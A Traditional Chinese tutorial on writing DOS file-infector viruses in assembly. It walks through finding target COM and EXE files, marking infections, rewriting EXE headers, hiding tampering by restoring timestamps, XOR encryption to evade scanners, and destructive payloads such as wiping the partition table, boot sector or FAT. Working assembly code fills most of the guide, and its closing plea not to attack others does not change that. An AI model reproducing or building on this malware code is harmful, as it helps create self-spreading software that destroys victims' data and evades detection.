前言

      病毒的寫作並不如你所想像的那麼難。但是想寫隻有效的病毒，你 必須 會組合語言。小而緊湊的程式碼是組合語言的特徵，而這些也是病毒所要求的特性。但也不一定要純粹使用組合來寫。 C 語言也是可以用的，因為它幾乎可以完全的控制系統(如果你不使用它的程式庫函數)。但是你還是要處理中斷，所以組合語言的知識還是必須要有的。然而，最好還是堅持使用純粹的組合語言，因為大部分的操作以組合的程式碼較簡潔。

病毒的分類

   1) Tiny  ( 500 bytes 以內) 因其嬌小而難以偵測。TINY 就是這種病毒之一。受其長度的限      制，它們大多非常簡單。
   2) Large ( 1500 bytes 以上) 因為它隱蔽的非常好而難以偵測 (所有的程式碼都是有用的)。      Whale 是最好的例子。它大概是目前現存最好的 Stealth 病毒。
   3) 其他不特別隱藏自己的病毒。一般的病毒多像這樣。所有覆寫式的病毒也
      屬於這一類。
病毒３步曲

複製

      最簡單的複製是感染 COM 檔。它先把要感染的檔案的前幾bytes 存起來。然後把自己程式碼的一小部份拷貝到檔案的開頭，其餘的加在檔尾。
+----------------+      +------------+

| P1 | P2    |      | V1 | V2 |

+----------------+      +------------+ 　
   未感染的檔案       病毒碼
      如圖所示，P1 是檔案的第一部份，P2 是檔案的第二部份，V1 V2 各為病毒的第一和第二部份。注意，P1 和 V1 的大小要相同，但是 P2 的大小就不一定要和 V2相同。病毒首先把 P1 存起來並拷貝到檔尾 。目前檔案看起來就像這樣：
  +---------------------+

  | P1 | P2  | P1 |

  +---------------------+

      然後，病毒把自己的第一部份拷到檔案的開頭：
  +---------------------+

  | V1 | P2  | P1 |

  +---------------------+

      最後，病毒把它自己的第二部份拷到檔尾：
  +-----------------------------+

  | V1 | P2 | P1 | V2  |

  +-----------------------------+

      現在的問題是： V1 和 V2 到底在做什麼？ V1 把程式的控制權轉交給  V2 。這種程式碼很簡單。
       JMP FAR PTR Duh       ; 佔 four bytes

  Duh  DW  V2_Start          ; 佔 two bytes

      Duh 是指向 V2 第一道程式碼的 far pointer (Segment:Offset)。Duh 的值可從 V1 、被感染的檔案原長和 256 (PSP 的長度) 相加求得。在這個例子中，V1 = 6 且P1 + P2 = 79 所以是 6 + 79 + 256 = 341 ( 155 hex )。
     V2 包含其餘的程式碼，即做其他所有事情的部份。V2 的最後一部份把 P1 蓋過V1 (在記憶體中，不是在磁片上)，然後把控制權轉給檔案的開始 (在記憶體裡) 。然後原來的程式就好像什麼都沒發生，但病毒已在程式執行前被執行過,要完成這項工作也是非常簡單的：
     MOV SI, V2_START      ; V2_START 是標示 V2 開始的 LABEL

     SUB SI, V1_LENGTH     ; 回到 P1 儲存的地方
     MOV DI, 0100h         ; 所有的 COM 都是載入記憶體 CS:[100] 處
     MOV CX, V1_LENGTH     ; 搬移 CX bytes

     REP MOVSB             ; DS:[SI] -> ES:[DI]

     MOV DI, 0100h

     JMP DI
    你無法知道你的變數和程式碼會被放在記憶體中的哪裡。既然你是把你的病毒加到程式的末端，在記憶體中的位置會因此而改變，也就是說，它會因感染的程式的大小而增大。因此要還原它，我們必須把原來病毒裡的 Offset 改變求出來，把它加入所有變數的參考中。
    要如何做才能找到 Offset 的差距？這其實很簡單：
    call setup

  setup:

    pop  si

    sub  si, offset setup

     上面的程式片段。CALL setup 會把下一個指令的位址 push 進stack，也就是 setup 的 Offset 。然後把它 pop 到 SI 。最後，再把 setup 原來的 Offset (這在 compile 時就計算出來了) 從 SI 中扣掉，你就求得你要的 Offset差距了。在原始的病毒中，Offset 差距是 0 ，也就是說 setup 的新位置和原來的位置相同。通常用 BP 來放 Offset 差距會更好，因為在字串指令中會用到 SI 。
    現在讓我們回到病毒的複製部份。步驟如下所示：
      1) 找個檔案感染
      2) 檢查它是否已經感染過了
      3) 如果是，回到 1

                        4) 感染它
      5) 如果感染夠了，離開
      6) 否則回到 1

      找出要感染的檔案事件簡單的事情，只要寫個目錄搜尋的程序並發出 FINDFIRST和 FINDNEXT 的呼叫找出可以感染的檔案即可。當你找到一個檔案，打開它並讀取它的前幾 bytes。如果這跟 V1 的前幾 bytes 一樣，那這個檔案就是已經被感染過的。如果你的病毒 V1 部份的前幾 bytes 不一樣，把它們改成相同的。確定你的病毒不會重複感染同樣的檔案是非常重要的，不然會使得檔案越來越大。
找個檔案感染

      首先，你必須設個新的 DTA 。絕對不要使用 PSP 中 ( 在 80h ) 的 DTA ，因為改變那個在控制權回到被感染檔案時會影響到它的的命令列參數。你只要這樣做就可以了：
          mov     ah, 1Ah                 ; 把 DTA 設到
          lea     dx, [bp+offset DTA]     ; 叫 DTA 的變數處
          int     21h

      DTA 是一段 42 bytes 的記憶體區段。接著，發出一系列 FINDFIRST 和FINDNEXT 的呼叫：
          mov     ah, 4Eh                 ; 搜尋第一個檔案
          mov     cx, 0007h               ; 任何檔案屬性
          lea    dx, [bp+offset file_mask]; DS:[DX] --> filemask

          int     21h

          jc      none_found

  found_another:

          call    check_infection

          mov     ah, 4Fh                 ; 搜尋下一個檔案
          int     21h

          jnc     found_another

  none_found:

      file_mask 可以 db 為 '*.COM',0 或 '*.EXE',0 。或者是你可以用 '*.*',0來做 FINDFIRST 然後再檢查它的副檔名是不是 EXE 或 COM 。
檢查感染條件

      你的病毒在感染時必須考慮清楚。例如說，你可能不想感染 COMMAND.COM 因為一些程式 (像 FluShot+ ) 在執行時會檢查它的 CRC 或 checksum 。或許你不想感染目錄下第一個檔案，Ambulance Car 就是個例子。如果你有任何感染的條件，那現在就檢查它。以下是個判斷檔名最後兩個字是不是 ND 的簡單範例，這是個檢查COMMAND.COM 的簡易方法：
          cmp     word ptr [bp+offset DTA+35], 'DN'  ; 顛倒字元順序
          jz      fail_check

檢查是否已經感染

    每個病毒都有它的特性，你可以根據這個來判斷一個檔案是否已經被感染過了。例如說，某些片段的程式碼總是會在預期的地方出現；或者是 JMP 總是用同樣的方法出現。無論如何，你要確定你的病毒有可供辨識的標記以免你重複感染同一個檔案。以下是個檢查的範例 ( 對 COM 而言 )：
          mov     ah,3Fh                          ; 把檔案的
          mov     cx, 3                           ; 前 3 bytes 讀到
          lea     dx, [bp+offset buffer]          ; buffer 之中
          int     21h

          mov     ax, 4202h                       ; 搜尋 EOF

          xor     cx, cx                          ; DX:CX = offset

          xor     dx, dx                          ; 從 DX:AX

          int     21h                             ; 傳回檔案大小
          sub     ax, virus_size + 3

          cmp     word ptr [bp+offset buffer+1], ax

          jnz     infect_it

  bomb_out:

          mov     ah, 3Eh                         ; 不然關閉檔案
          int     21h                             ; 並尋找下一個
      這個例子中，BX 是放要做感染檢驗的檔案之檔案代號 (file handle) 而virus_size 等於病毒的大小。buffer 是個 3 bytes 大小的空白區域。這一段程式碼把檔案的前 3 bytes 讀進 buffer 中並比較 JMP 跳到的位置 (從 buffer+1 起的word) 和檔案的大小。如果 JMP 的目的地是在 EOF 前 virus_size bytes ，則這個檔案已經被感染過了。

       當已經找到要感染的檔案,也檢查過其條件,再來就是最重要的：”感染檔案”啦！可以分成下列步驟：

      1) 把檔案的屬性清除
      2) 儲存檔案的日期、時間
      3) 關閉檔案
      4) 重新以讀/寫的模式開檔
      5) 把 P1 存到檔案的末端
      6) 把 V1 拷到檔案的開頭，但記得要改變 JMP 的 Offset 以使控制權能正確的轉移。
      7) 把 V2 加到檔尾
      8) 還原檔案的屬性、日期、時間

感染檔案

     這是病毒的 "內臟"，也是複製部份的中心。當你找到一個可感染的檔案後，你要把屬性、時間、日期和大小儲存起來以備將來使用。以下是對 DTA 的分析：

Offset
大小
功能

0h
21 BYTES
保留。隨 DOS 版本而不同

15h
BYTE
檔案屬性

16h
WORD
檔案時間

18h
WORD
檔案日期

1Ah
DWORD
檔案大小

1Eh
13 BYTES
ASCII 的檔名

      如你所見，DTA 保存了所有你需要的檔案重要資訊。以下是如何把所需資料儲存
  起來的範例：
          lea  si, [bp+offset DTA+15h]            ; 把從屬性到
          mov  cx, 9                              ; 大小的資料
          lea  di, [bp+offset f_attr]             ; 般移到你的位置
          rep  movsb

          f_attr  db   ?                          ; 所需變數
          f_time  dw   ?

          f_date  dw   ?

          f_size  dd   ?

      現在你可以用 INT 21h / 43h 函數 / 01h 子函數把檔案的屬性清除，這樣才能
  感染系統、隱藏和唯讀的檔案。只有舊式 (或極少數) 病毒無法處理這類檔案。
          lea  dx, [bp+offset DTA+1eh]            ; DX 指向 DTA 中
          mov  ax, 4301h                          ; 之檔名
          xor  cx, cx                             ; 清除屬性
          int  21h                                ; 發出呼叫
      屬性被廢止後，你就可以安然無事的開啟檔案。用檔案代號開成讀寫模式。

          lea  dx, [bp+offset DTA+1eh]            ; 使用 DTA 中的檔名
          mov  ax, 3d02h                          ; 開啟讀寫模式
          int  21h                                ; duh.

          xchg ax, bx                             ; 檔案代號放在BX中較有用
範例：感染COM檔

  ; COM 感染的範例  假設 BX 是檔案代號
  ; 假設 COM 檔已通過感染條件檢查且還沒被感染過
  ;buffer1用來存原檔案的前3bytes
          mov     ah, 3fh

          lea     dx, [bp+buffer1]

          mov     cx, 3

          int     21h

          mov     ax, 4200h                       ; 把檔案指標
          xor     cx, cx                          ; 移到檔頭
          xor     dx, dx                          ;

          int     21h

  ; 計算要用來覆蓋檔頭的 JMP 指令（JUM xxxx）
          mov     byte ptr [bp+buffer2], 0e9h      ; JMP 的機械碼 oe9h
          mov     ax, word ptr [bp+f_size]        ;  f_size = V1+P1+P2
          sub     ax, part1_size                   ; 通常是 JMP那 3 bytes

          mov     word ptr [bp+buffer2+1], ax      

  ; 把 JMP 指令寫入檔頭
          mov     ah, 40h                          ;將buffer中的東西寫入檔案代號 BX
          mov     cx, 3                            ;的檔案中CX bytes
          lea     dx, [bp+buffer2]                 

          int     21h

          mov     ax, 4202h                        ; 把檔案指標
          xor     cx, cx                           ; 移到檔尾
          xor     dx, dx

          int     21h

          mov     ah, 40h                          ; 寫入 CX bytes

          mov     cx, endofvirus - startofpart2    ; 病毒的本體長度
          lea     dx, [bp+startofpart2]            ; 從 start 開始寫
          int     21h

  ; 變數
  buffer1 db 3 dup (?)                             ; 儲存感染的檔案中的資料以備以後還原
  buffer2 db 3 dup (?)                             ; 暫存區
範例：感染EXE檔

      EXE 檔的感染也很簡單，不過有點難懂。首先，以下是 EXE 檔頭的格式：
Offset
名稱
大小
解說

00
Signature
2 bytes
永遠是 4Dh 5Ah (MZ)

*02
Last Page Size
1 word
最後一 page 的 bytes 數

*04
File Pages
1 word
檔案總共幾 page

06
Reloc Items
1 word
移位表的 entry 數

08
Header Paras
1 word
檔頭的 para 數

0A
MinAlloc
1 word
所需最小記憶體的 para 數

0C
MaxAlloc
1 word
所需最大記憶體的 para 數

*0E
PreReloc SS
1 word
堆疊到程式開頭的 para 數

*10
Initial SP
1 word
開始時的 SP

12
Negative checksum
1 word
一般都忽略

*14
Pre Reloc IP
1 word
開始執行的位址

*16
Pre Reloc CS
1 word
程式區到程式開頭的 para 數

18
Reloc table offset
1 word
第一個移位 entry 的 offset 數

1A
Overlay number
1 word
如果不是 overlay 檔就忽略

1C
Reserved/unused
2 word


* 表示病毒需要更改的資料
     想了解這個，首先你必須知道 EXE 檔是由 segment 構成的。Segment 的開始和結束可以在任何地方。要感染 EXE 檔，你所要做的是把你的程式碼加到程式的尾端，這樣它就有自己的 segment 。現在你要做的是讓病毒在程式執行之前先被執行到。這不像感染 COM 檔，沒有程式碼會被覆寫，但是你要更改檔頭。注意，病毒還是可以有 V1/V2 的結構，但是只有 V2 需要連結到被感染的 EXE 檔尾。
      Offset 4 放的是檔案大小除 512 的結果。Offset 2 放的是檔案大小除 512 的餘數。Offset 0Eh 放的是堆疊 (stack) 的 segment 的 paragraph 差距 (相對於檔頭的結尾)。 Offset 10h 放的是堆疊指標 (SP) 的差距 (相對於堆疊 segment 的開頭)。 Offset 16h 放的是 entry 點和檔頭的相對 paragraph 差距。 Offset 14h放的是 entry 點相對於 entry segment 的差距。 Offset 14h 和 16h 是把病毒加入程式中的關鍵。
     在你感染檔案之前，你要先把在 EXE 檔頭中找到的 CS:IP 和 SS:SP 儲存起來，在執行時再還原。你也要把檔案的長度儲存起來，因為待會做感染時會用到好幾次。現在是計算一些 offset的時候。你可以用以下的程式碼來找新的 CS:IP 和 SS:SP 。它假設檔案的大小是存在 DX:AX 。
          mov     bx, word ptr [bp+ExeHead+8]    ; 檔頭大小的 para 數
                                             ;確定你不會把檔案代號毀掉
          mov     cl, 4                          ; 乘以 16 如果檔頭
          shl     bx, cl                         ; 大於 4096 bytes 時
                                                 ; 就無法使用
          sub     ax, bx                         ; 把檔頭從檔案大小中
          sbb     dx, 0                          ; 減掉
         ; 現在 DX:AX 放著檔案大小減檔頭大小的結果 

          mov     cx, 10h                        ; DX:AX/CX = AX 除 DX 的餘數
          div     cx

    現在 AX*16+DX 指向程式的結尾，如果病毒是緊接在程式尾端之後，則 AX 和DX 可以各自當作起始的 CS 和 IP 。但是如果病毒在 entry point 之前有些東西 (程式碼或資料)，把 entry point 的差距加入 DX 中 (不必對 AX 做 ADC 因為 DX通常很小)。
          mov     word ptr [bp+ExeHead+14h], dx  ; IP Offset

          mov     word ptr [bp+ExeHead+16h], ax  ; CS 差距
      現在可以計算 SS 和 SP 了。 SS 等於 CS 。 SP 真正的值並不重要，只要它夠
  大不會使堆疊覆蓋掉程式碼即可 (記得：堆疊是向下增長的)。一般的規則是：SP 至
  少要比病毒的大小大 100 bytes ，這樣應該就足以避免麻煩了。
          mov     word ptr [bp+ExeHead+0Eh], ax     ; SS 的差距
          mov     word ptr [bp+ExeHead+10h], 0A000h ; SP 的起始處
      現在剩下來的就是要改變檔頭裡的檔案大小。把你原先保留下來的原始檔案大小還原到 DX:AX 處。要計算 DX:AX/512 和 DX:AX MOD 512 可以用下列的方法：
          mov     cl, 9                           ; 再次使用移位
          ror     dx, cl                          ; 來分隔
          push    ax                              ; AX 還會用到
          shr     ax, cl

          adc     dx, ax                          ; DX 放 pages

          pop     ax

          and     ah, 1                           ; AX MOD 512

          mov     word ptr [bp+ExeHead+4], dx     ; 修改檔頭中
          mov     word ptr [bp+ExeHead+2], ax     ; 的檔案大小
      接著剩下的是把 EXE 的檔頭寫回去並把病毒附加到檔尾：
          mov     ah, 3fh                         ; BX 放檔案代號
          mov     cx, 18h                         ; 不需要用到整個檔頭
          lea     dx, [bp+ExeHead]

          int     21h

          call    infectexe

          mov     ax, 4200h                       ; 倒回檔頭
          xor     cx, cx

          xor     dx, dx

          int     21h

          mov     ah, 40h                         ; 把檔頭寫回去
          mov     cx, 18h

          lea     dx, [bp+ExeHead]

          int     21h

          mov     ax, 4202h                       ; 跳到檔尾
          xor     cx, cx

          xor     dx, dx

          int     21h

          mov     ah, 40h                         ; 注意：只需要把病毒的第二
          mov     cx, part2size                   ;       部份寫回去 (病毒的
          lea     dx, [bp+offset part2start]      ;       各部份定義在上一份
          int     21h                             ;       文件中)

      注意，單獨使用這段程式碼並不足以完成 COM 或 EXE 的感染動作，你還需要把控制權移交回原程式的程式碼。完成這個動作所需的資料會放在下一份文件中。在這段時間中，你可以試著自己找出解決的辦法，要記得要還原所有你有改變的地方。
掩蓋形跡

      這個步驟很容易完成，也因此容易被忽略。但是這非常的重要，一個小心的使用者會因為任何對檔案不必要的更動而察覺到病毒的存在。最簡單的模式是把檔案的屬性、時間和日期還原，以下的方法可以完成這項工作：

          mov     ax, 5701h                      ; 設定檔案時間/日期
          mov     dx, word ptr [bp+f_date]       ; DX = 日期
          mov     cx, word ptr [bp+f_time]       ; CX = 時間
          int     21h
          mov     ah, 3eh                        ; 關檔
          int     21h
          mov     ax, 4301h                      ; 設定檔案屬性
          lea     dx, [bp+offset DTA + 1Eh]      ; 檔名還在 DTA 中
          xor     ch, ch

          mov     cl, byte ptr [bp+f_attrib]     ; 屬性放在 CX

          int     21h

      如果在病毒執行時目錄有變過，記得把目錄換回原來的目錄下。

隱藏

     隱藏部份是病毒作者用來預防病毒被偵測出來的防禦。最常用的 encryption/decryption 函示是 XOR，因為 encryption 和 decryption 都可以用它完成。
  decrypt:

  encrypt:

       mov bx, 0FFFFh

       mov cx, 0FFFFh

  xor_loop:

       xor word ptr [bx], 0FFFFh

       add bx, 2

       loop xor_loop

      那些以 0FFFFh 表示的值在感染的時候都要視當時情形改變。例如：要把encryption 函式寫入感染的檔案中時，BX 的值必需是 part_to_encrypt_start 相對於被感染檔的開頭之差距值。
      上面這段程式碼的最大好處是識別字串的長度很小。識別字串必須是一保持不變的部份，而在此例中，只有 3、4 個連續的 bytes 會保持不變。因為整個 encryption只有十來 bytes 而已，識別字串的大小是非常小的。
      雖然明白了 encryption 函式的功能，但是可能對起始的 encrption 值和之後其值的計算還不明瞭。大部分 XOR encryption 的起始值是 0，你應該在感染的過程中改變其值，一般是取隨機的 encryption 值。取得亂數最簡單的辦法是利用內部時鐘。以下的例子可以容易的取得亂數：
          mov     ah, 2Ch                         ; 給我個亂數
          int     21h

          mov     word ptr [bp+encrypt_val], dx   ; 也可以用 CX

      有些 encryption 函式並不單純的使用 0 做起始值。例如，看看 Whale 的例子。它使用上一個字元的值當 encryption 值。在這種情況下，執行病毒的時候只要用個 JMP 指令跳過 decryption 的函式即可，但是要確定 JMP 跳到正確的位址！例如說，你可能會寫個這樣的病毒：
          org     100h

  start:

          jmp     past_encryption

  ; 你的 encryption 函式放在這裡
  past_encryption:

      encryption 函式是整個病毒中唯一不能 encryption 的部份。經由程式碼搬移
  的技術可以輕易的把感染部份搬到 heap (在檔案結尾到堆疊間的記憶體) 之中，你
  只需要用到一些 MOVSW 和一個 JMP 指令即可。首先要把 encryption 函式拷過去，
  然後是寫入，接著是 decryption，然後是個 RETurn 以回到程式中。例如：
       lea si, [bp+encryption_routine]

       lea di, [bp+heap]

       mov cx, encryption_routine_size

       push si

       push cx

       rep movsb

       lea si, [bp+writing_routine]

       mov cx, writing_routine_size

       rep movsb

       pop cx

       pop si

       rep movsb

       mov al, 0C3h                             ; 一個 near return

       stosb

       call [bp+heap]

      雖然大部分的病毒為了簡單的緣故，使用同樣的函式來做 encryption 和
  decryption，但是上面的例子顯示這完全不需要。你只需要稍微修改一下上面的程式
  碼即可獲得一個獨立的 decryption 函式。你只需要去掉那些 PUSH 並把 POP 改成
  適當的 LEA si 和 MOV cx 即可。
發作

      病毒的發作部份包括所有刪除、減緩及其他讓病毒如此惱人的部份。你要為病毒設個發作條件，這個條件可以是任何條件，從你的生日到當病毒感染 100 個檔案時都可以。當條件成立時，你的病毒就開始執行任務。一些好的發作動作建議：
      1) 是系統減緩 --- 可以靠攔截中斷並造成些 delay 來達成。
      2) 刪除檔案 --- 刪除磁碟上所有 ZIP 的檔案。
      3) 顯示訊息 --- 顯示些像 "You are fucked" 之類的訊息
      4) 刪除/覆蓋 硬碟分割表/BOOT 磁區/FAT 表 --- 這非常的卑鄙，一般人通常
         無法修復它。
總結

     病毒的寫作的確可以增進許多組合語言的技巧,功力越強的人，當然越不容易被發現，有些驚人的巧思恐怕是一輩子想也想不到！！不過最重要的是：當你寫出一隻功能齊全的病毒，千萬不要拿別人的電腦開玩笑！（因為那並不好笑）假如大家都把自己的成果通通放到網路上，那不是天下大亂？所以，病毒是一種深入研究組合語言的方法,卻不是惡作劇的工具，只要能往這種方向前進，才不會又有人坐在電腦桌前面大喊：”Shit！！又中毒了啦！！”
